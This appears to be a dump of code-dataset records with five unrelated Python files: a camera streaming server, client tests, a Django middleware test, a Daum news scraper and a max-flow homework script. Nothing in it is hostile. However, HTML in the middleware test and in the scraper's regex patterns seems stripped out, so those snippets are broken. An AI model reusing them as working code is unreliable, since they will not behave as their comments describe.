height)\n\t\t\t\tcv2.putText(gray, text, (10,40), font, 0.60, (255,255,255), 2, cv2.LINE_AA)\n\t\t\t\tif err != \"\":\n\t\t\t\t\tcv2.putText(gray, err, (10, 80), font, 1, (0,0,255), 2, cv2.LINE_AA)\n\t\t\t\tBenchmarkTimes.append(time.time())\n\t\t\t\tenc = cv2.imencode(\".png\", gray)[1]\n\t\t\t\tbin64data = base64.b64encode(enc)\n\t\t\t\tBenchmarkTimes.append(time.time())\n\t\t\t\tif self.CamIndex >= 0:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tself.Conn.sendall(bin64data + \"\\r\\n\")\n\t\t\t\t\texcept:\n\t\t\t\t\t\tlogger.error(\"Unable to send image to client (%s, %s):\" % self.Addr)\n\t\t\t\t\t\tlogger.error(\"Shutting down comm port.\")\n\t\t\t\t\t\tself.killCam()\n\t\t\t\t\t\treturn\n\t\t\t\tBenchmarkTimes.append(time.time())\n\t\t\t\tAverageTimes.append(BenchmarkTimes)\n\t\t\t\tBenchmarkTimes = []\n\t\t\t\tif len(AverageTimes) == 10:\n\t\t\t\t\tGrabTimes = []\n\t\t\t\t\tColorTimes = []\n\t\t\t\t\tEncodeTimes = []\n\t\t\t\t\tSendTimes = []\n\t\t\t\t\tOverallTimes = []\n\t\t\t\t\tfor i in AverageTimes:\n\t\t\t\t\t\tGrabTimes.append(i[1] - i[0])\n\t\t\t\t\t\tColorTimes.append(i[2] - i[1])\n\t\t\t\t\t\tEncodeTimes.append(i[3] - i[2])\n\t\t\t\t\t\tSendTimes.append(i[4] - i[3])\n\t\t\t\t\t\tOverallTimes.append(i[4] - i[0])\n\t\t\t\t\tGrabTime = sum(GrabTimes) / 10\n\t\t\t\t\tColorTime = sum(ColorTimes) / 10\n\t\t\t\t\tEncodeTime = sum(EncodeTimes) / 10\n\t\t\t\t\tSendTime = sum(SendTimes) / 10\n\t\t\t\t\tOverallTime = sum(OverallTimes) / 10\n\t\t\t\t\tprint (\"Latentcy data: GrabTime = \" + str(GrabTime) + \" ColorTime = \" + str(ColorTime) + \" EncodeTime = \" + str(EncodeTime) + \" SendTime = \" + str(SendTime) + \" OverallTime = \" + str(OverallTime))\n\t\t\t\t\tAverageTimes = []\n\t\t\t\twhile time.time() - StartTime < 0.1:\n\t\t\t\t\ttime.sleep(0.01)\n\t\t\texcept:\n\t\t\t\tpass\n","sub_path":"Jetson/Server/camerastream.py","file_name":"camerastream.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"309117713","text":"import pytest\nfrom dotenv import load_dotenv\nfrom httpx import codes\n\nfrom app.domain.models import CloseDatasetRequest\nfrom app.helpers.exceptions import BevaringArkivServiceRequestFailed\nfrom app.settings import Settings\nfrom tests.connectors.mock_bevaring_client import MockBevaringClient\nfrom tests.test_utils import get_project_root\n\ndotenv_path = get_project_root() / \".env.test\"\nload_dotenv(dotenv_path=dotenv_path)\n\n\n@pytest.fixture\ndef testobj_payload_with_valid_values(\n session_id: str = \"a30c0c60-2aff-42ac-a0a8-b53b667a210c\",\n datasett_id: str = \"e22d8f48-4264-4972-9c6a-5e0fce8f01a4\",\n iam_access_key_id: str = \"SOME_RANDOM_ID\",\n) -> CloseDatasetRequest:\n return CloseDatasetRequest(\n session_id=session_id,\n datasett_id=datasett_id,\n iam_access_key_id=iam_access_key_id,\n )\n\n\n@pytest.fixture\ndef testobj_payload_with_invalid_datasett_id(\n session_id: str = \"b4c08c40-c07c-4b02-9485-091db1652205\",\n datasett_id: str = \"aed84309-968a-4369-8586-b097bfd17123\",\n iam_access_key_id: str = \"SOME_RANDOM_ID\",\n) -> CloseDatasetRequest:\n return CloseDatasetRequest(\n session_id=session_id,\n datasett_id=datasett_id,\n iam_access_key_id=iam_access_key_id,\n )\n\n\ndef test_request_close_dataset_returns_200_ok(testobj_payload_with_valid_values):\n \"\"\"\n GIVEN A request with BevaringClient to close a dataset\n WHEN CloseDatasetRequest is sent as payload with valid values\n THEN Return HTTP 200 OK\n \"\"\"\n mock_client = MockBevaringClient(Settings().bevaring_arkiv_service_base_url)\n\n expected_response = codes.OK\n result = mock_client.request_close_dataset(testobj_payload_with_valid_values)\n\n assert result == expected_response\n\n\ndef test_request_close_dataset_raises_exception_with_invalid_values_in_payload(testobj_payload_with_invalid_datasett_id):\n \"\"\"\n GIVEN A request with BevaringClient to close a dataset\n WHEN CloseDatasetRequest is sent as payload with an unvalid datasett_id\n THEN Raise BevaringArkivServiceRequestFailed exception\n \"\"\"\n mock_client = MockBevaringClient(Settings().bevaring_arkiv_service_base_url)\n\n with pytest.raises(BevaringArkivServiceRequestFailed):\n mock_client.request_close_dataset(testobj_payload_with_invalid_datasett_id)\n","sub_path":"iam-close-dataset/tests/connectors/test_bevaring_client.py","file_name":"test_bevaring_client.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"407711510","text":"from django.conf.urls import url\nfrom django.http import HttpResponse\nfrom django.test import override_settings, TestCase\n\nfrom ut_relogin.urls import urlpatterns\n\nMINIMAL_HTML5_DOC = b\"\"\"\n\n\n \n title\n \n \n \n\n\"\"\".strip()\n\nurlpatterns += [\n url(r'^$', lambda request: HttpResponse(content=MINIMAL_HTML5_DOC)),\n]\n\n\n@override_settings(ROOT_URLCONF='tests.test_middleware',)\nclass TestMiddleware(TestCase):\n def test_replace_header_tag(self):\n mw_class = 'ut_relogin.middleware.UtReloginHeadTagMiddleware'\n with self.modify_settings(MIDDLEWARE_CLASSES={'append': mw_class},\n MIDDLEWARE={'append': mw_class}):\n resp = self.client.get('/')\n self.assertContains(resp,\n '/static/ut_relogin/jquery.utRelogin.js',\n count=1)\n","sub_path":"tests/test_middleware.py","file_name":"test_middleware.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"197618130","text":"#daum뉴스 - https://media.daum.net/cp/310의 제목 및 미리보기\n#data/daum_jtbc.html\n\nimport sys\nimport re\n\nfrom urllib.request import urlopen\nfrom html import unescape\n\nurl = 'https://media.daum.net/cp/310'\n# f = urlopen(url)\n# encode = f.info().get_content_charset()\n# text = f.read().decode(encode)\n#\n# with open('data/daum_jtbc.html', 'w', encoding=encode) as f:\n# f.write(text)\n\nwith open('data/daum_jtbc.html', 'r', encoding='utf-8') as f:\n html = f.read()\n\n# #뉴스 제목\n# for part_html in re.findall(\n# r' ', html, re.DOTALL):\n#\n# title = re.sub(r'<.*?>', '', part_html)\n#\n# print(title)\n#\n# #뉴스 요약\n# for part_html in re.findall(\n# r' ', html, re.DOTALL):\n#\n# title = re.sub(r'<.*?>', '', part_html).strip()\n#\n# print(title)\n\n#뉴스제목 & 요약\n\nfor part_html in re.findall(\n r'
', html, re.DOTALL):\n\n title = re.sub(r'.*?', '', part_html)\n title = re.sub(r'.*?', '', title)\n title = re.sub(r'', '', title)\n title = re.sub(r'<.*?>', '', title)\n title = re.sub(r'\\s{2,}', '\\r\\n', title).strip()\n\n print(title)","sub_path":"py1809/hello_urllib/hello_urllib08.py","file_name":"hello_urllib08.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"528100922","text":"\"\"\"\nAndrew Gray, John Piermatteo, Wesley Morlock\nHomework 05\nMain\n11/13/2017\n\"\"\"\nfrom testFileWriter import *\nfrom max_flow_generator import *\nimport os\n\ndef main():\n \n os.system(\"mkdir input_graphs && mkdir output_graphs\")\n \n for z in range(10):\n g = FlowNetwork()\n g.addVertex('0', True, False) ##source\n g.addVertex('6',False,True) ##sink\n\n r = test_network_generator()\n vertices = r[1]\n vertices.remove('0')\n vertices.remove('6') ##sometime 6 ins't a vertex -> will give error\n\n for s in vertices:\n g.addVertex(s) \n x = r[0]\n for i in range(len(x)):\n g.addEdge(x[i][0],x[i][1],x[i][2])\n \n file_name = \"my_graph_\" + str(z)\n name = os.path.join(\"./input_graphs/\", file_name)\n print(file_name)\n write_dot_file(r[0], name, \"input_graphs\") \n\n max_edges = g.getMaxEdges()\n\n \n\n print('vertices: ' + str([vertex.name for vertex in g.vertices]) + '\\n')\n print('edges: ' + str(['%s -> %s; %s/%s' % (e.start, e.end, e.flow, e.capacity) for e in g.getEdges()])+ '\\n')\n print('max flow: ' + str(g.calculateMaxFlow()) + '\\n')\n print('max edges: ' + str(max_edges))\n print(\"----------------------------------------------------------------------------------------\\n\")\n\n file_name = \"max_edges_\" + str(z)\n name = os.path.join(\"./output_graphs/\", file_name)\n write_dot_file(max_edges, name, \"output_graphs\")\n\n \n\nmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"}